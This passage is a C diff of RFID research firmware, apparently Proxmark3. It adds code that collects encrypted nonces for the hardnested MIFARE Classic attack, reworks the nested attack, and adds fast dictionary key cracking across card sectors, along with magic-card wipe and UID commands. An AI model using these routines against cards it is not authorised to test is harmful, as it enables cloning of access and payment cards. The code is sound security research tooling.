AddCrc14A(dcmd, 2); + ReaderTransmit(dcmd, sizeof(dcmd), NULL); + int len = ReaderReceive(answer, par); + + // wait for the card to become ready again + CHK_TIMEOUT(); + + if (len != 4) { + if (MF_DBGLEVEL >= 2) Dbprintf("AcquireNonces: Auth1 error"); + continue; + } + + num_nonces++; + + // Save the tag nonce (nt) + buf[i] = answer[0]; + buf[i+1] = answer[1]; + buf[i+2] = answer[2]; + buf[i+3] = answer[3]; + } + + LED_C_OFF(); + LED_B_ON(); + cmd_send(CMD_ACK, isOK, cuid, num_nonces-1, buf, sizeof(buf)); + LED_B_OFF(); + + if (MF_DBGLEVEL >= 3) DbpString("AcquireNonces finished"); + + if (field_off) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + set_tracing(false); + } +} + +//----------------------------------------------------------------------------- +// acquire encrypted nonces in order to perform the attack described in +// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened +// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on +// Computer and Communications Security, 2015 +//----------------------------------------------------------------------------- +void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain) { + + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + + uint8_t uid[10] = {0x00}; + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t par_enc[1] = {0x00}; + uint8_t buf[USB_CMD_DATA_SIZE] = {0x00}; + + uint64_t ui64Key = bytes_to_num(datain, 6); + uint32_t cuid = 0; + int16_t isOK = 0; + uint16_t num_nonces = 0; + uint8_t nt_par_enc = 0; + uint8_t cascade_levels = 0; + uint8_t blockNo = arg0 & 0xff; + uint8_t keyType = (arg0 >> 8) & 0xff; + uint8_t targetBlockNo = arg1 & 0xff; + uint8_t targetKeyType = (arg1 >> 8) & 0xff; + bool initialize = flags & 0x0001; + bool slow = flags & 0x0002; + bool field_off = flags & 0x0004; + bool have_uid = false; + + LED_A_ON(); + LED_C_OFF(); + + BigBuf_free(); BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(false); + + if (initialize) + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + LED_C_ON(); + + for (uint16_t i = 0; i <= USB_CMD_DATA_SIZE - 9; ) { + + // Test if the action was cancelled + if(BUTTON_PRESS()) { + isOK = 2; + field_off = true; + break; + } + + if (!have_uid) { // need a full select cycle to get the uid first + iso14a_card_select_t card_info; + if(!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { + if (MF_DBGLEVEL >= 1) Dbprintf("AcquireNonces: Can't select card (ALL)"); + continue; + } + switch (card_info.uidlen) { + case 4 : cascade_levels = 1; break; + case 7 : cascade_levels = 2; break; + case 10: cascade_levels = 3; break; + default: break; + } + have_uid = true; + } else { // no need for anticollision. We can directly select the card + if (!iso14443a_fast_select_card(uid, cascade_levels)) { + if (MF_DBGLEVEL >= 1) Dbprintf("AcquireNonces: Can't select card (UID)"); + continue; + } + } + + if (slow) + SpinDelayUs(HARDNESTED_PRE_AUTHENTICATION_LEADTIME); + + uint32_t nt1; + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, NULL)) { + if (MF_DBGLEVEL >= 1) Dbprintf("AcquireNonces: Auth1 error"); + continue; + } + + // nested authentication + uint16_t len = mifare_sendcmd_short(pcs, AUTH_NESTED, 0x60 + (targetKeyType & 0x01), targetBlockNo, receivedAnswer, par_enc, NULL); + + // wait for the card to become ready again + CHK_TIMEOUT(); + + if (len != 4) { + if (MF_DBGLEVEL >= 1) Dbprintf("AcquireNonces: Auth2 error len=%d", len); + continue; + } + + num_nonces++; + if (num_nonces % 2) { + memcpy(buf+i, receivedAnswer, 4); + nt_par_enc = par_enc[0] & 0xf0; + } else { + nt_par_enc |= par_enc[0] >> 4; + memcpy(buf+i+4, receivedAnswer, 4); + memcpy(buf+i+8, &nt_par_enc, 1); + i += 9; + } + } + + LED_C_OFF(); + crypto1_destroy(pcs); + LED_B_ON(); + cmd_send(CMD_ACK, isOK, cuid, num_nonces, buf, sizeof(buf)); + LED_B_OFF(); + + if (MF_DBGLEVEL >= 3) DbpString("AcquireEncryptedNonces finished"); + + if (field_off) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + set_tracing(false); + } } @@ -483,35 +849,40 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t calibrate, uint8_t *dat // variables uint16_t rtr, i, j, len; - uint16_t davg; + uint16_t davg = 0; static uint16_t dmin, dmax; - uint8_t uid[10]; - uint32_t cuid, nt1, nt2, nttmp, nttest, par, ks1; - uint32_t target_nt[2], target_ks[2]; + uint8_t uid[10] = {0x00}; + uint32_t cuid = 0, nt1, nt2, nttmp, nttest, ks1; + uint8_t par[1] = {0x00}; + uint32_t target_nt[2] = {0x00}, target_ks[2] = {0x00}; - uint8_t par_array[4]; + uint8_t par_array[4] = {0x00}; uint16_t ncount = 0; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; pcs = &mpcs; - uint8_t* receivedAnswer = mifare_get_bigbufptr(); + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00}; uint32_t auth1_time, auth2_time; - static uint16_t delta_time; - - // clear trace - iso14a_clear_trace(); - iso14a_set_tracing(false); - - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + static uint16_t delta_time = 0; LED_A_ON(); LED_C_OFF(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + // free eventually allocated BigBuf memory + BigBuf_free(); BigBuf_Clear_ext(false); + + if (calibrate) clear_trace(); + set_tracing(true); // statistics on nonce distance + int16_t isOK = 0; + #define NESTED_MAX_TRIES 12 + uint16_t unsuccessfull_tries = 0; if (calibrate) { // for first call only. Otherwise reuse previous calibration LED_B_ON(); + WDT_HIT(); davg = dmax = 0; dmin = 2000; @@ -519,33 +890,35 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t calibrate, uint8_t *dat for (rtr = 0; rtr < 17; rtr++) { + // Test if the action was cancelled + if(BUTTON_PRESS()) { + isOK = -2; + break; + } + // prepare next select. No need to power down the card. if(mifare_classic_halt(pcs, cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Nested: Halt error"); + if (MF_DBGLEVEL >= 2) Dbprintf("Nested: Halt error"); rtr--; continue; } - if(!iso14443a_select_card(uid, NULL, &cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Nested: Can't select card"); + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + if (MF_DBGLEVEL >= 2) Dbprintf("Nested: Can't select card"); rtr--; continue; }; auth1_time = 0; if(mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, &auth1_time)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Nested: Auth1 error"); + if (MF_DBGLEVEL >= 2) Dbprintf("Nested: Auth1 error"); rtr--; continue; }; + auth2_time = (delta_time) ? auth1_time + delta_time : 0; - if (delta_time) { - auth2_time = auth1_time + delta_time; - } else { - auth2_time = 0; - } if(mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_NESTED, &nt2, &auth2_time)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Nested: Auth2 error"); + if (MF_DBGLEVEL >= 2) Dbprintf("Nested: Auth2 error"); rtr--; continue; }; @@ -566,63 +939,65 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t calibrate, uint8_t *dat delta_time = auth2_time - auth1_time + 32; // allow some slack for proper timing } if (MF_DBGLEVEL >= 3) Dbprintf("Nested: calibrating... ntdist=%d", i); + } else { + unsuccessfull_tries++; + if (unsuccessfull_tries > NESTED_MAX_TRIES) { // card isn't vulnerable to nested attack (random numbers are not predictable) + isOK = -3; + } } } - - if (rtr <= 1) return; davg = (davg + (rtr - 1)/2) / (rtr - 1); - if (MF_DBGLEVEL >= 3) Dbprintf("min=%d max=%d avg=%d, delta_time=%d", dmin, dmax, davg, delta_time); + if (MF_DBGLEVEL >= 3) Dbprintf("rtr=%d isOK=%d min=%d max=%d avg=%d, delta_time=%d", rtr, isOK, dmin, dmax, davg, delta_time); dmin = davg - 2; dmax = davg + 2; LED_B_OFF(); - } // ------------------------------------------------------------------------------------------------- LED_C_ON(); // get crypted nonces for target sector - for(i=0; i < 2; i++) { // look for exactly two different nonces + for(i=0; i < 2 && !isOK; i++) { // look for exactly two different nonces target_nt[i] = 0; while(target_nt[i] == 0) { // continue until we have an unambiguous nonce // prepare next select. No need to power down the card. if(mifare_classic_halt(pcs, cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Nested: Halt error"); + if (MF_DBGLEVEL >= 2) Dbprintf("Nested: Halt error"); continue; } - if(!iso14443a_select_card(uid, NULL, &cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Nested: Can't select card"); + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + if (MF_DBGLEVEL >= 2) Dbprintf("Nested: Can't select card"); continue; }; auth1_time = 0; if(mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, &auth1_time)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Nested: Auth1 error"); + if (MF_DBGLEVEL >= 2) Dbprintf("Nested: Auth1 error"); continue; }; // nested authentication auth2_time = auth1_time + delta_time; - len = mifare_sendcmd_shortex(pcs, AUTH_NESTED, 0x60 + (targetKeyType & 0x01), targetBlockNo, receivedAnswer, &par, &auth2_time); + + len = mifare_sendcmd_short(pcs, AUTH_NESTED, 0x60 + (targetKeyType & 0x01), targetBlockNo, receivedAnswer, par, &auth2_time); if (len != 4) { - if (MF_DBGLEVEL >= 1) Dbprintf("Nested: Auth2 error len=%d", len); + if (MF_DBGLEVEL >= 2) Dbprintf("Nested: Auth2 error len=%d", len); continue; }; nt2 = bytes_to_num(receivedAnswer, 4); - if (MF_DBGLEVEL >= 3) Dbprintf("Nonce#%d: Testing nt1=%08x nt2enc=%08x nt2par=%02x", i+1, nt1, nt2, par); + if (MF_DBGLEVEL >= 3) Dbprintf("Nonce#%d: Testing nt1=%08x nt2enc=%08x nt2par=%02x", i+1, nt1, nt2, par[0]); // Parity validity check for (j = 0; j < 4; j++) { - par_array[j] = (oddparity(receivedAnswer[j]) != ((par & 0x08) >> 3)); - par = par << 1; + par_array[j] = (oddparity8(receivedAnswer[j]) != ((par[0] >> (7-j)) & 0x01)); } ncount = 0; @@ -654,14 +1029,9 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t calibrate, uint8_t *dat LED_C_OFF(); - // ----------------------------- crypto1 destroy crypto1_destroy(pcs); - // add trace trailer - memset(uid, 0x44, 4); - LogTrace(uid, 4, 0, 0, TRUE); - - byte_t buf[4 + 4 * 4]; + uint8_t buf[4 + 4 * 4] = {0}; memcpy(buf, &cuid, 4); memcpy(buf+4, &target_nt[0], 4); memcpy(buf+8, &target_ks[0], 4); @@ -669,120 +1039,504 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t calibrate, uint8_t *dat memcpy(buf+16, &target_ks[1], 4); LED_B_ON(); - cmd_send(CMD_ACK, 0, 2, targetBlockNo + (targetKeyType * 0x100), buf, sizeof(buf)); + cmd_send(CMD_ACK, isOK, 0, targetBlockNo + (targetKeyType * 0x100), buf, sizeof(buf)); LED_B_OFF(); if (MF_DBGLEVEL >= 3) DbpString("NESTED FINISHED"); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); - iso14a_set_tracing(TRUE); + set_tracing(false); } //----------------------------------------------------------------------------- // MIFARE check keys. key count up to 85. // -//----------------------------------------------------------------------------- -void MifareChkKeys(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) -{ - // params - uint8_t blockNo = arg0; - uint8_t keyType = arg1; - uint8_t keyCount = arg2; - uint64_t ui64Key = 0; +//----------------------------------------------------------------------------- +typedef struct sector_t { + uint8_t keyA[6]; + uint8_t keyB[6]; +} sector_t; + +typedef struct chk_t { + uint64_t key; + uint32_t cuid; + uint8_t cl; + uint8_t block; + uint8_t keyType; + uint8_t *uid; + struct Crypto1State *pcs; +} chk_t; + +// checks one key. +// fast select, tries 5 times to select +// +// return: +// 2 = failed to select. +// 1 = wrong key +// 0 = correct key +uint8_t chkKey( struct chk_t *c ) { + uint8_t i = 0, res = 2; + while( i < 5 ) { + // this part is from Piwi's faster nonce collecting part in Hardnested. + // assume: fast select + if (!iso14443a_fast_select_card(c->uid, c->cl)) { + ++i; + continue; + } + res = mifare_classic_authex(c->pcs, c->cuid, c->block, c->keyType, c->key, AUTH_FIRST, NULL, NULL); + + CHK_TIMEOUT(); + + // if successfull auth, send HALT + // if ( !res ) + // mifare_classic_halt_ex(c->pcs); + break; + } + return res; +} + +uint8_t chkKey_readb(struct chk_t *c, uint8_t *keyb) { - // variables - int i; - byte_t isOK = 0; - uint8_t uid[10]; - uint32_t cuid; + if (!iso14443a_fast_select_card(c->uid, c->cl)) + return 2; + + if ( mifare_classic_authex(c->pcs, c->cuid, c->block, 0, c->key, AUTH_FIRST, NULL, NULL) ) + return 1; + + uint8_t data[16] = {0x00}; + uint8_t res = mifare_classic_readblock(c->pcs, c->cuid, c->block, data); + + // successful read + if ( !res ) { + // data was something else than zeros. + if ( memcmp(data+10, "\x00\x00\x00\x00\x00\x00", 6) != 0) { + memcpy(keyb, data+10, 6); + res = 0; + } else { + res = 3; + } + mifare_classic_halt_ex(c->pcs); + } + return res; +} + +void chkKey_scanA(struct chk_t *c, struct sector_t *k_sector, uint8_t *found, uint8_t *sectorcnt, uint8_t *foundkeys) { + uint8_t status; + for (uint8_t s = 0; s < *sectorcnt; s++) { + + // skip already found A keys + if ( found[(s*2)] ) + continue; + + c->block = FirstBlockOfSector( s ); + status = chkKey( c ); + if ( status == 0 ) { + num_to_bytes(c->key, 6, k_sector[s].keyA); + found[(s*2)] = 1; + ++*foundkeys; + + if (MF_DBGLEVEL >= 3) Dbprintf("ChkKeys_fast: Scan A found (%d)", c->block); + } + } +} + +void chkKey_scanB(struct chk_t *c, struct sector_t *k_sector, uint8_t *found, uint8_t *sectorcnt, uint8_t *foundkeys) { + uint8_t status; + for (uint8_t s = 0; s < *sectorcnt; s++) { + + // skip already found B keys + if ( found[(s*2)+1] ) + continue; + + c->block = FirstBlockOfSector( s ); + status = chkKey( c ); + if ( status == 0 ) { + num_to_bytes(c->key, 6, k_sector[s].keyB); + found[(s*2)+1] = 1; + ++*foundkeys; + + if (MF_DBGLEVEL >= 3) Dbprintf("ChkKeys_fast: Scan B found (%d)", c->block); + } + } +} + +// loop all A keys, +// when A is found but not B, try to read B. +void chkKey_loopBonly(struct chk_t *c, struct sector_t *k_sector, uint8_t *found, uint8_t *sectorcnt, uint8_t *foundkeys) { + + // read Block B, if A is found. + for (uint8_t s = 0; s < *sectorcnt; ++s) { + c->block = (FirstBlockOfSector( s ) + NumBlocksPerSector( s ) - 1); + // A but not B + if ( found[(s*2)] && !found[(s*2)+1] ){ + c->key = bytes_to_num(k_sector[s].keyA, 6); + uint8_t status = chkKey_readb(c, k_sector[s].keyB); + if ( status == 0 ){ + found[(s*2)+1] = 1; + ++*foundkeys; + + if (MF_DBGLEVEL >= 3) Dbprintf("ChkKeys_fast: Reading B found (%d)", c->block); + + // try quick find all B? + // assume: keys comes in groups. Find one B, test against all B. + c->key = bytes_to_num( k_sector[s].keyB, 6); + c->keyType = 1; + chkKey_scanB(c, k_sector, found, sectorcnt, foundkeys); + } + } + } +} +// get Chunks of keys, to test authentication against card. +// arg0 = antal sectorer +// arg0 = first time +// arg1 = clear trace +// arg2 = antal nycklar i keychunk +// datain = keys as array +void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) { + + // first call or + uint8_t sectorcnt = arg0 & 0xFF; // 16; + uint8_t firstchunk = (arg0 >> 8) & 0xF; + uint8_t lastchunk = (arg0 >> 12) & 0xF; + uint8_t strategy = arg1 & 0xFF; + uint8_t keyCount = arg2 & 0xFF; + uint8_t status = 0; + struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; pcs = &mpcs; + struct chk_t chk_data; - // clear debug level - int OLD_MF_DBGLEVEL = MF_DBGLEVEL; - MF_DBGLEVEL = MF_DBG_NONE; - - // clear trace - iso14a_clear_trace(); - iso14a_set_tracing(TRUE); + uint8_t allkeys = sectorcnt << 1; + + static uint32_t cuid = 0; + static uint8_t cascade_levels = 0; + static uint8_t foundkeys = 0; + static sector_t k_sector[80]; + static uint8_t found[80]; + static uint8_t *uid; iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - - LED_A_ON(); - LED_B_OFF(); - LED_C_OFF(); - - for (i = 0; i < keyCount; i++) { - if(mifare_classic_halt(pcs, cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("ChkKeys: Halt error"); - } - - if(!iso14443a_select_card(uid, NULL, &cuid)) { - if (OLD_MF_DBGLEVEL >= 1) Dbprintf("ChkKeys: Can't select card"); - break; - }; - - ui64Key = bytes_to_num(datain + i * 6, 6); - if(mifare_classic_auth(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST)) { - continue; - }; + if (uid == NULL || firstchunk) { + uid = BigBuf_malloc(10); + if (uid == NULL ) { + if (MF_DBGLEVEL >= 3) Dbprintf("ChkKeys: uid malloc failed"); + goto OUT; + } + } + + LEDsoff(); + LED_A_ON(); + + if ( firstchunk ) { + + clear_trace(); + set_tracing(false); + + memset(k_sector, 0x00, 480+10); + memset(found, 0x00, sizeof(found)); + foundkeys = 0; + + iso14a_card_select_t card_info; + if ( !iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { + if (MF_DBGLEVEL >= 1) Dbprintf("ChkKeys: Can't select card (ALL)"); + goto OUT; + } + switch (card_info.uidlen) { + case 4 : cascade_levels = 1; break; + case 7 : cascade_levels = 2; break; + case 10: cascade_levels = 3; break; + default: break; + } + + CHK_TIMEOUT(); + } + + // set check struct. + chk_data.uid = uid; + chk_data.cuid = cuid; + chk_data.cl = cascade_levels; + chk_data.pcs = pcs; + chk_data.block = 0; + + // keychunk loop - depth first one sector. + if ( strategy == 1 ) { + + uint8_t newfound = foundkeys; + + // Sector main loop + // keep track of how many sectors on card. + for (uint8_t s = 0; s < sectorcnt; ++s) { + + if ( found[(s*2)] && found[(s*2)+1] ) + continue; + + for (uint8_t i = 0; i < keyCount; ++i) { + + // Allow button press / usb cmd to interrupt device + if (BUTTON_PRESS() && !usb_poll_validate_length()) { + goto OUT; + } + + // found all keys? + if ( foundkeys == allkeys ) + goto OUT; + + WDT_HIT(); + + // assume: block0,1,2 has more read rights in accessbits than the sectortrailer. authenticating against block0 in each sector + chk_data.block = FirstBlockOfSector( s ); + + // new key + chk_data.key = bytes_to_num(datain + i * 6, 6); + + // assume: block0,1,2 has more read rights in accessbits than the sectortrailer. authenticating against block0 in each sector + + // skip already found A keys + if( !found[(s*2)] ) { + chk_data.keyType = 0; + status = chkKey( &chk_data); + if ( status == 0 ) { + memcpy(k_sector[s].keyA, datain + i * 6, 6); + found[(s*2)] = 1; + ++foundkeys; + + chkKey_scanA(&chk_data, k_sector, found, §orcnt, &foundkeys); + + // read Block B, if A is found. + chkKey_loopBonly( &chk_data, k_sector, found, §orcnt, &foundkeys); + + chk_data.block = FirstBlockOfSector( s ); + } + } + + // skip already found B keys + if( !found[(s*2)+1] ) { + chk_data.keyType = 1; + status = chkKey( &chk_data); + if ( status == 0 ) { + memcpy(k_sector[s].keyB, datain + i * 6, 6); + found[(s*2)+1] = 1; + ++foundkeys; + + chkKey_scanB(&chk_data, k_sector, found, §orcnt, &foundkeys); + } + } + + } // end keys test loop - depth first + + // assume1. if no keys found in first sector, get next keychunk from client + if ( newfound-foundkeys == 0 ) + goto OUT; + + } // end loop - sector + } // end strategy 1 + + if ( strategy == 2 ) { + // Keychunk loop + for (uint8_t i = 0; i < keyCount; i++) { + + // Allow button press / usb cmd to interrupt device + if (BUTTON_PRESS() && !usb_poll_validate_length()) break; + + WDT_HIT(); + + // new key + chk_data.key = bytes_to_num(datain + i * 6, 6); + + // Sector main loop + // keep track of how many sectors on card. + for (uint8_t s = 0; s < sectorcnt; ++s) { + + // found all keys? + if ( foundkeys == allkeys ) + goto OUT; + + // assume: block0,1,2 has more read rights in accessbits than the sectortrailer. authenticating against block0 in each sector + chk_data.block = FirstBlockOfSector( s ); + + // skip already found A keys + if( !found[(s*2)] ) { + chk_data.keyType = 0; + status = chkKey( &chk_data); + if ( status == 0 ) { + memcpy(k_sector[s].keyA, datain + i * 6, 6); + found[(s*2)] = 1; + ++foundkeys; + + chkKey_scanA( &chk_data, k_sector, found, §orcnt, &foundkeys); + + // read Block B, if A is found. + chkKey_loopBonly( &chk_data, k_sector, found, §orcnt, &foundkeys); + + chk_data.block = FirstBlockOfSector( s ); + } + } + + // skip already found B keys + if( !found[(s*2)+1] ) { + chk_data.keyType = 1; + status = chkKey( &chk_data); + if ( status == 0 ) { + memcpy(k_sector[s].keyB, datain + i * 6, 6); + found[(s*2)+1] = 1; + ++foundkeys; + + chkKey_scanB(&chk_data, k_sector, found, §orcnt, &foundkeys); + } + } + + + } // end loop sectors + } // end loop keys + } // end loop strategy 2 +OUT: + LEDsoff(); + + crypto1_destroy(pcs); + + // All keys found, send to client, or last keychunk from client + if (foundkeys == allkeys || lastchunk ) { + + uint64_t foo = 0; + uint16_t bar = 0; + for (uint8_t m = 0; m < 64; ++m) + foo |= (found[m] << m); + for (uint8_t m=64; m < sizeof(found); ++m) + bar |= (found[m] << (m-64)); + + uint8_t *tmp = BigBuf_malloc(480+10); + memcpy(tmp, k_sector, sectorcnt * sizeof(sector_t) ); + num_to_bytes(foo, 8, tmp+480); + tmp[488] = bar & 0xFF; + tmp[489] = bar >> 8 & 0xFF; + cmd_send(CMD_ACK, foundkeys, 0, 0, tmp, 480+10); + + set_tracing(false); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + BigBuf_free(); BigBuf_Clear_ext(false); + } else { + // partial/none keys found + cmd_send(CMD_ACK, foundkeys, 0, 0, 0, 0); + } +} + +void MifareChkKeys(uint16_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) { + + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + + uint8_t uid[10] = {0x00}; + + uint64_t key = 0; + uint32_t cuid = 0; + int i, res; + uint8_t blockNo = arg0 & 0xFF; + uint8_t keyType = (arg0 >> 8) & 0xFF; + uint8_t keyCount = arg2; + uint8_t cascade_levels = 0; + uint8_t isOK = 0; + bool have_uid = false; + bool clearTrace = arg1 & 0xFF; + + LEDsoff(); + LED_A_ON(); + + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + if (clearTrace) + clear_trace(); + + set_tracing(true); + + for (i = 0; i < keyCount; i++) { + + // Iceman: use piwi's faster nonce collecting part in hardnested. + if (!have_uid) { // need a full select cycle to get the uid first + iso14a_card_select_t card_info; + if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { + if (MF_DBGLEVEL >= 1) Dbprintf("ChkKeys: Can't select card (ALL)"); + --i; // try same key once again + continue; + } + switch (card_info.uidlen) { + case 4 : cascade_levels = 1; break; + case 7 : cascade_levels = 2; break; + case 10: cascade_levels = 3; break; + default: break; + } + have_uid = true; + } else { // no need for anticollision. We can directly select the card + if (!iso14443a_select_card(uid, NULL, NULL, false, cascade_levels, true)) { + if (MF_DBGLEVEL >= 1) Dbprintf("ChkKeys: Can't select card (UID)"); + --i; // try same key once again + continue; + } + } + + key = bytes_to_num(datain + i * 6, 6); + res = mifare_classic_auth(pcs, cuid, blockNo, keyType, key, AUTH_FIRST); + + CHK_TIMEOUT(); + + if (res) + continue; + isOK = 1; break; } - // ----------------------------- crypto1 destroy - crypto1_destroy(pcs); - LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,datain + i * 6,6); - LED_B_OFF(); + cmd_send(CMD_ACK, isOK, 0, 0, datain + i * 6, 6); - // Thats it... FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); - - // restore debug level - MF_DBGLEVEL = OLD_MF_DBGLEVEL; + + set_tracing(false); + crypto1_destroy(pcs); } //----------------------------------------------------------------------------- // MIFARE commands set debug level // //----------------------------------------------------------------------------- -void MifareSetDbgLvl(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain){ +void MifareSetDbgLvl(uint16_t arg0){ MF_DBGLEVEL = arg0; Dbprintf("Debug level: %d", MF_DBGLEVEL); } - //----------------------------------------------------------------------------- // Work with emulator memory // +// Note: we call FpgaDownloadAndGo(FPGA_BITSTREAM_HF) here although FPGA is not +// involved in dealing with emulator memory. But if it is called later, it might +// destroy the Emulator Memory. //----------------------------------------------------------------------------- + void MifareEMemClr(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain){ + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); emlClearMem(); } - void MifareEMemSet(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain){ - emlSetMem(datain, arg0, arg1); // data, block num, blocks count + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + if (arg2==0) arg2 = 16; // backwards compat... default bytewidth + emlSetMem_xt(datain, arg0, arg1, arg2); // data, block num, blocks count, block byte width } - void MifareEMemGet(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain){ - - byte_t buf[48]; + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + byte_t buf[USB_CMD_DATA_SIZE] = {0x00}; emlGetMem(buf, arg0, arg1); // data, block num, blocks count (max 4) LED_B_ON(); - cmd_send(CMD_ACK,arg0,arg1,0,buf,48); + cmd_send(CMD_ACK,arg0,arg1,0,buf,USB_CMD_DATA_SIZE); LED_B_OFF(); } - //----------------------------------------------------------------------------- // Load a card into the emulator memory // @@ -791,29 +1545,27 @@ void MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datai uint8_t numSectors = arg0; uint8_t keyType = arg1; uint64_t ui64Key = 0; - uint32_t cuid; + uint32_t cuid = 0; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; pcs = &mpcs; // variables - byte_t dataoutbuf[16]; - byte_t dataoutbuf2[16]; - uint8_t uid[10]; - - // clear trace - iso14a_clear_trace(); - iso14a_set_tracing(false); - - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + byte_t dataoutbuf[16] = {0x00}; + byte_t dataoutbuf2[16] = {0x00}; + uint8_t uid[10] = {0x00}; LED_A_ON(); LED_B_OFF(); LED_C_OFF(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + clear_trace(); + set_tracing(true); bool isOK = true; - if(!iso14443a_select_card(uid, NULL, &cuid)) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { isOK = false; if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); } @@ -839,7 +1591,7 @@ void MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datai isOK = false; if (MF_DBGLEVEL >= 1) Dbprintf("Error reading sector %2d block %2d", sectorNo, blockNo); break; - }; + } if (isOK) { if (blockNo < NumBlocksPerSector(sectorNo) - 1) { emlSetMem(dataoutbuf, FirstBlockOfSector(sectorNo) + blockNo, 1); @@ -853,9 +1605,9 @@ void MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datai } - if(mifare_classic_halt(pcs, cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); - }; + if(mifare_classic_halt(pcs, cuid)) + if (MF_DBGLEVEL >= 1) + Dbprintf("Halt error"); // ----------------------------- crypto1 destroy crypto1_destroy(pcs); @@ -865,222 +1617,382 @@ void MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datai if (MF_DBGLEVEL >= 2) DbpString("EMUL FILL SECTORS FINISHED"); + set_tracing(false); } //----------------------------------------------------------------------------- // Work with "magic Chinese" card (email him: ouyangweidaxian@live.cn) // +// PARAMS - workFlags +// bit 0 - need get UID +// bit 1 - need wupC +// bit 2 - need HALT after sequence +// bit 3 - need turn on FPGA before sequence +// bit 4 - need turn off FPGA +// bit 5 - need to set datain instead of issuing USB reply (called via ARM for StandAloneMode14a) +// bit 6 - wipe tag. //----------------------------------------------------------------------------- -void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain){ +// magic uid card generation 1 commands +uint8_t wupC1[] = { MIFARE_MAGICWUPC1 }; +uint8_t wupC2[] = { MIFARE_MAGICWUPC2 }; +uint8_t wipeC[] = { MIFARE_MAGICWIPEC }; + +void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain){ - // params - uint8_t needWipe = arg0; - // bit 0 - need get UID - // bit 1 - need wupC - // bit 2 - need HALT after sequence - // bit 3 - need init FPGA and field before sequence - // bit 4 - need reset FPGA and LED - uint8_t workFlags = arg1; - uint8_t blockNo = arg2; - - // card commands - uint8_t wupC1[] = { 0x40 }; - uint8_t wupC2[] = { 0x43 }; - uint8_t wipeC[] = { 0x41 }; - - // variables - byte_t isOK = 0; - uint8_t uid[10]; - uint8_t d_block[18]; - uint32_t cuid; - - memset(uid, 0x00, 10); - uint8_t* receivedAnswer = mifare_get_bigbufptr(); - - if (workFlags & 0x08) { - // clear trace - iso14a_clear_trace(); - iso14a_set_tracing(TRUE); - - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - - LED_A_ON(); - LED_B_OFF(); 